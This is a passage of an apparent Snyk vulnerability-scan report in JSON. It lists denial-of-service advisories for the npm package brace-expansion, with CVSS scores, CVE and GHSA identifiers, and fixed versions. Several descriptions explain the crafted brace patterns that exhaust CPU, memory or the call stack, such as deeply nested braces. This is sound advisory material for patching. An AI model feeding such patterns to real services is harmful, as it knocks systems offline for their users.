Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
